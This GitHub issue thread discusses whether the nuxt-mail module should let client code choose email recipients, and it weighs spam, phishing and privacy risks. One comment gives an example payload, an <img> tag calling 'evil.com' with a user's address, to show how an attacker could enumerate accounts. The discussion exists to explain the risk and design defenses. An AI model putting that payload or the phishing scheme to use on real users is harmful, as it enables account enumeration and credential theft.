Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

How to send a confirmation email to a dynamic email? #68

Open
urbgimtam opened this issue Jul 15, 2021 · 31 comments · May be fixed by #112
Open

How to send a confirmation email to a dynamic email? #68

urbgimtam opened this issue Jul 15, 2021 · 31 comments · May be fixed by #112

Comments

@urbgimtam
Copy link

urbgimtam commented Jul 15, 2021

If message.to needs to be configured beforehand, how can I send a confirmation email to someone based an email address inserted in a form field?

I'm may be wrong here, but wouldn't it make more sense to force the "from" field instead?
That way, the website/webapp can send emails to whoever needs to receive it, and always from a fixed email address.

@dword-design
Copy link
Owner

@urbgimtam That's actually a good question and I think there should be a FAQ section about it. I think you shouldn't send confirmation emails to non-verified email addresses at all, because otherwise you could send spam emails to any email address by typing [email protected] (from your SMTP server!). As far as I remember, confirmation emails are best and mostly used with logged in accounts, then you can send an email to the account email address. On the other hand I can remember to have gotten automatic confirmation emails from guest contact forms. No idea how they deal with the spamming problem though.

@mathe42 What's your opinion on this?

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

For that use case just build your own small API that gets email (and name ...) and generates the email from that.

A in the case of a confirmation mail you need a API for verification.

What you don't want is that a attacker can send emails with custom conent to random people so you have to make at least one of that static.

@urbgimtam
Copy link
Author

urbgimtam commented Jul 15, 2021

I agree with all your concerns over security. However, maybe a better approach would be to allow the config to lock either the "sender" or the "receiver", as per the developer requirements.

  • For contact forms, IMO it makes sense to have the "receiver" to be locked, as the flow goes from the user to the company/website.

  • But for other uses (image an ecommerce store), it makes sense to lock only the "sender", as the email goes from the website to the user.

Usually, I've mitigated it in the past with things like Google Recaptcha (v3 is great and doesn't show that cumbersome image selector thing), or with a hidden blank field, that mail bots try to fill in automatically. (also, nowdays many mail servers use DKIM, output validation and even header correction)

IMO it should be the coders' responsability to use email addresses validation (whatever that validation may be: a registered user, a double-optin system, recaptha, etc.)

Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility.

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

So you want the browser to request that a email is send with dynamic content to a dynamic email.

That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases.

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

Creating an API for this seems like overkill, and kind of defeats the purpose of this module. I've used nodemailer directly with Nuxt in the past, and nuxt-mail looks like a great abstraction for clearer development, but if its too constrained, IMO it narrows its usage flexibility.

This module creates a API as the browser can not talk to a SMTP server. - And this API can be called with custom arguments so even if you client code is save - it dosn't matter.

@urbgimtam
Copy link
Author

urbgimtam commented Jul 15, 2021

So you want the browser to request that a email is send with dynamic content to a dynamic email.

That can be used for SPAM sending. So someone can send emails in your name - very bad. If you set STATIC content for the body of the email OK im fine with that. But static doesn't work in 98% of use cases.

Of course the dynamic email needs to be validated by a third-party: either login/registered user, or email being triggered after successfull recaptcha validation.

So my point is that the validation responsability belongs to the developer, instead of nuxt-mail blocking that possibility interely.

The white elefant in the room is that spam prevention (from the sender perspective) is hard to fix and requires multiple points of mitigation. For example: the email server itself should be correctly configured for stuff like "output rate limiting", DKIM, DMARC and SPF outgoing spam protection, etc.

@dword-design
Copy link
Owner

dword-design commented Jul 15, 2021

I think @urbgimtam is right that the mail server should be responsible for the address validation. I see the use case to use nuxt-mail to send emails to authenticated user's email addresses. What I could imagine as a simple solution would be to allow the to field to be a (possibly async) validation function. Example:

// nuxt.config.js

const users = [{ email: '[email protected]' }]

export default {
  modules: [
    ['nuxt-mail', {
      message: {
        to(email) {
          // @nuxtjs/auth, via session or something similar

          return this.$auth.user.email === email
        },
      },
    }],
  ],
}
// index.vue

export default {
  methods: {
    submit() {
      this.$mail.send({
        from: 'John Doe',
        to: '[email protected]',
        subject: 'Message', 
        text: 'Foo bar',
    },
  },
}

So it would be a non-breaking, more flexible way than the email field comparison. Opinions or any issues I haven't thought of?

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

As a attacker I want to know if with the email [email protected] is a user. I can do the following:

Create a Mail with something like (just minimal example):

this.$mail.send({
        from: 'John Doe',
        to: '[email protected]',
        subject: 'Message', 
        text: '<img src="evil.com/[email protected]">', // maybe different key but you get the idea...
    },

If I get a request to evil.com I know the user has an account.

So this might fix the SPAM problem for not very big pages. But we have a privacy issue. This is not GDPR conform.

I think there should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage.

Because of that I don't even use nuxt-mail just saw it a few month ago and saw that it has security problems.

This module in my opinion is only good for a contact form!

[EDIT]

Just to repeat my complain is

There should be no way of a non trusted source (attacker) to send emails with custom (attacker controled) content to a customer or user of your webapp / webpage.

@urbgimtam
Copy link
Author

urbgimtam commented Jul 15, 2021

Understand and agree.
Just like in php, the coder must sanitize the fields data to avoid injection atacks, etc.

Just to be understand a bit better, what would you use for such a scenario like I've described? Because, in the end, any solution will suffer of the same vectors of attack.

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

Generate the E-Mail content on the server in for exampe a server middleware of nuxt.

In the online Form get all data. Send both to the api / server middleware and generate there the email text / html and send this with (for example) nodemailer to the specified e-mail.

@urbgimtam
Copy link
Author

That's what I've done in the past. But if nuxt-mailer is using nodemailer, isn't it doing it already? Can't the sanitization and email generation still happen in the component, before calling the this.$mail.send()? Again, the dev should handle that.

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

Nope as the $mail.send creates a request to a url and there is no way to validate the data.
And validation has to happen on the server. A attacker can bypass all client validation. The problem is the server can't check if the data even was validated...

@dword-design
Copy link
Owner

dword-design commented Jul 15, 2021

Sry my example was incredibly bad, was focusing on the validation function. Of course there should be auth management and you should only be able to send to the logged in user's address, not any registered one. I've updated it accordingly. Is the issue you explained resolved with this? It should fail with an auth error. You would need to be registered with verified email first, otherwise this.$mail.send would also fail when sending it from the client.

@mathe42
Copy link
Contributor

mathe42 commented Jul 15, 2021

If you want to be shure it should silently fail...

But if there is some validation I'm fine with that. But you should point that out that if you do for exampe () => true you have big security problems. And I'm not 100% shure you want that power at the developer that doesn't know what he is doing.

@urbgimtam
Copy link
Author

Ok, sorry for all the discussion I've generated.

@mathe42 I agree that it can be damaging to a dev that is not aware of the responsibility. Please feel free to close the issue.

@dword-design
Copy link
Owner

dword-design commented Jul 15, 2021

@mathe42 Yes it has to be well-documented. I'd say it's fine if the default behavior is safe. In that case the developer would have to actively bypass the recommendations (there will probably be some who will do ...).

@urbgimtam No, there is no need for excuses. I think there is a use case and I also think it is a great discussion, which is great for the module. My suggestion would be to leave the issue open for some time and see if people are interested in the feature and then see if we implement it.

@jdemoort
Copy link

I have a use case where the application user (veterinarian, or his/her assistant) is logged in, and the application generates a report to be sent to the user's patient.
In this case, mails only originate from trusted users towards (trusted) patients as the patient email address has been entered by the user.

So you could say the 'from' and 'to' have been pre-validated and there's no need for further validation. That is the reason why I'm stuck at version 1.

However, the suggestion by @dword-design to add a validation function seems like a solution if we add a validation function for both 'from' and 'to'.
The validation function can check whether the 'from' equals the email of the authenticated user and whether the 'to' field equals the email address of the current patient.

It still remains the dev's responsibility - and not nuxt-mail's imho - to code a proper validation function or to assess whether () => true is safe to use.
I don't think you can avoid that...

@mathe42
Copy link
Contributor

mathe42 commented Jul 18, 2021

I just want to make sure that you all have in mind that you don't add XSS or SPAM problems into this module.

I don't realy care about how you implement it or is it good idea to implement it - if you implement it in a secure way.

@dword-design
Copy link
Owner

Hey folks, ok I did some detailed thinking on this, also had a look at other solutions (EmailJS, SendGrid, MailGun).

So, I think the main challenge here is to be able to call nuxt-mail from the client, and on the other hand to have a secure mail config that is passed to nodemailer. After some fiddling I came to the conclusion that the best would be not to validate the config but instead to create it on the server side. So the client only triggers the sending and (potentially) passes parameters, but the actual message is put together on server side (inside the REST API endpoint). The configs could have a create function for this. Btw. validation always has the drawback that you pass stuff from the client and then you check the same thing server-side. Instead, just do the thing on the server and only trigger it from the client.

Here is some code that would solve the two use cases discussed here, meaning dynamic sender on the one hand and dynamic recipient on the other hand. Note that @urbgimtam is right that the from address should not be set but instead replyTo should be set. Otherwise emails could be rejected by the SMTP server. So it should always be that emails are sent from some system email address and then you can reply to dynamic addresses (correct me if I'm wrong!).

User sends contact form from a dynamic to a specific address

export default {
  modules: [
    '@nuxtjs/axios',
    ['nuxt-mail', {
      message: [
        { name: 'contact-form', create: () => ({ from: '[email protected]', replyTo: '[email protected]' }) },
      ],
    }],
  ],
}

// Client-side
this.$mail.send({ name: 'contact-form', replyTo: this.email })

System sends confirmation email from a specific to a dynamic address

const users = [
  { id: 1, patientEmail: '[email protected]' },
]

export default {
  modules: [
    '@nuxtjs/axios',
    ['nuxt-mail', {
      message: [
        { name: 'report', create: () => ({ from: '[email protected]', to: users.find(user => user === this.$auth.user.id }).email },
      ],
    }],
  ],
}

// Client-side
this.$mail.send({ config: 'report' })

This resembles a bit the template system from SendGrid and other email services, so looks like a flexible thing.

In the long run it would maybe be better to turn the whole config definition into a map that maps config names to config objects or possibly functions, but for now it should be fine.

@urbgimtam
Copy link
Author

Looks very interesting.

@Adashi12
Copy link

Any updates on this issue?

I want to add that in @dword-design last answer, the solution "from a specific to a dynamic address" would still only work if at the level of nuxt.config the address is known. Still not very "dynamic".

There are usecases where people who can access the form are trusted and can be relied upon to enter the correct receiver and content.

In my opinion, as stated previously, it should not be the responsibility of this module to validate the sent message and therefore restrict usage that might be used.

@dword-design
Copy link
Owner

dword-design commented Feb 15, 2022

@urbgimtam @mathe42 @jdemoort @Adashi12 Alright guys, sorry for the delay, it is a bigger issue, so it was quite some conceptual work. I think I have come up with a solution that might fit for most users. The idea is similar to the one I sketched out above. What you basically do when sending emails from the client is to define message configs and then calling those configs with parameters. It's similar to the template system in EmailJS. This way you can define your emails in a flexible way without risking security leaks. The definition as a plain object is still the safest way to do it because nuxt-mail will filter out the risky fields. When setting a message config to a function, the developer is responsible to only pass the right fields through.

Here is an example of how message configs look like:

// nuxt.config.js

export default {
  modules: [
    ['nuxt-mail', {
      configs: {
        contact: {
          from: '[email protected]',
          to: '[email protected]',
        },
        issues: { /* ... */ },
        custom: ({ replyTo, text }) => ({
          from: '[email protected]',
          to: '[email protected]',
          replyTo,
          text,
        }),
      },
      smtp: { /* ... */ },
    }],
  ],
}

Then send the email like so:

this.$mail.send('contact', {
  replyTo: this.email,
  text: this.text,
})

On the server side, you have full freedom now. this.$mail.send behaves different depending on if it is on the client or the server, so for more complex logic, you can run $mail.send from the application context.

I've implemented the proposal in this pull request. Before deploying it I'd like to get your opinion on it since it has some breaking changes and there are many use cases to cover. You can find the more detailed explanation in the updated readme in the PR. To test the PR, check out the branch locally and run yarn --frozen-lockfile && yarn prepublishOnly. Then add it to some project via yarn add ../nuxt-mail.

Alright thanks for waiting, looking forward to your feedback!

@mathe42
Copy link
Contributor

mathe42 commented Feb 15, 2022

The only requirement is that you define to,cc,bcc in the server OR define content, replyto, attachments on the server (maybe with a template Syntax with dynamic parts of content). But as I never used this Module nor intend to use it (in my Project I create a full api not depending in nuxt what I Personaly think is the best way for bigger projects) I'm the wrong person to ask.

@dword-design
Copy link
Owner

@mathe42 Thanks for the reply! Why is it also valid to define content, replyto, attachments in the server instead of to,cc,bcc? Doesn't it also lead to spamming?

@mathe42
Copy link
Contributor

mathe42 commented Feb 18, 2022

OK. Yes your kinda right. Spamming is a bad thing but the only "bad thing" that can happen are:

  1. Mailbox overflow
  2. User gets annoyed

My problem with this module allways was what I call a "authentic phishing attack". This means it is a phishing attack but the Mail comes from the correct SMTP server. This results in

  1. User thinks Mail is authentic => logs into your site via a custom link that leads to the attackers page.
  2. Password theft (If your user use the same password for the E-Mail you get access to E-Mail and therefor access to all Accounts via password reset)
  3. Other forms with credit-card information etc...

So for spamming the solution is:

  1. Limit ammout of to, cc, bcc the user can supply each request (in most cases to 1) [make the number configurable]
  2. rate limit the requests by ip (1 per 10 seconds or so) [make the number configurable]

This results in so slow speeds that a "spamming-attack" is not likely as it is so slow.

For phising attack the solultion is:

  1. Either controll to, cc, bcc, replyto
  2. or controll the content (maybe with a templating engine etc.) // so "content" in this case can only be a object with some information that gets populated in the mail. Users should be aware of HTML injection attacks and should strip any HTML tags and limit inserted text to a specific length.

If you allow that content / html can be a functions that returns promise resolving a string a escape function would be nice to provide:

declare function escape(text: string, maxLength: number): string

So on the client you can have the following functions (I put each type of call into it own function) [I additionaly only allow to and not cc,bcc

type mail = {name?: string, mail: string}
declare function send_with_template(variant: string, to: mail, data: Record<string, any>): Promise<void>
declare function send_with_content(variant: string, replyTo: mail, content: string): Promise<void>
export default {
  modules: [
    ['nuxt-mail', {
      configs: {
        with_content: {
          from: '[email protected]',
          to: '[email protected]',
          // replyTo will be set by client
          // text will be set by client
        },
        with_template: {
          from: '[email protected]',
          // to will be set by client
          replyTo: '[email protected]',,
          text: async (data) => {
             // potentialy access mysql or filesystem
             return `<p>Your Data: <span>${escape(JSON.stringify(data))}</span></p>`          
          }
        }
      },
      smtp: { /* ... */ },
    }],
  ],
}

I'm not shure with cc, bcc if they should be allowed or not.

@marr
Copy link

marr commented Aug 24, 2022

I don't get why you prevent defining the to field at runtime. That extremely limits the utility of this module, IMO. You are preventing standard interactions like "forgot password" and "verify email address". Why focus on spam prevention, when it only inconveniences the developer?

People will just use another module or build the endpoints manually without that restriction.

@mathe42
Copy link
Contributor

mathe42 commented Aug 26, 2022

You don't see the Problem:

Lets assume bank.com uses this module (without the protection).

Then you (as an attacker) can send a Mail from '[email protected]' to anybody and there is no clue that this was sent by an attacker!

If you write a good E-Mail etc. you have a Phishing Attack where that is not detectable in the Mail even If you look for it.

TL;Dr it is Not about Spam it is about Security!!!

@ghost
Copy link

ghost commented Jan 28, 2023

This just blew my mind. I can use this whole module only to send emails to specific hardcoded addresses? How is this useful at all?

@dword-design
Copy link
Owner

@makeitflow The main use case is currently to create feedback and contact forms. It's main use case currently is not to create complex transactional email workflows. I'm working on a reconcept that is based on templates, but since the Nuxt app context is not available in server middlewares (and Nuxt 3 server events), there is basically a line that the module cannot cross. I can imagine that this will change through Nitro in the future.

@andreasvirkus
Copy link

Just like in php, the coder must sanitize the fields data to avoid injection atacks, etc.

How would this be done with nuxt-mail? Should I actually write a custom API handler then? Is there any way to disable the default /mail/send endpoint in that case? Because atm an attacker can just call the default endpoint that lacks message/body sanitization, right?

@Ed1ks
Copy link

Ed1ks commented Oct 31, 2024

I was looking for a nuxt module to add the capability to send emails from server to user mails and was wondering why this module is forcing the to parameter.
After reading this thread I understand now that its because its not for serverside Email sending.
Maybe it would be more straight forward if the module would have a name or description, which is telling devs that this module is only for contact forms for client to server emails.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

8 participants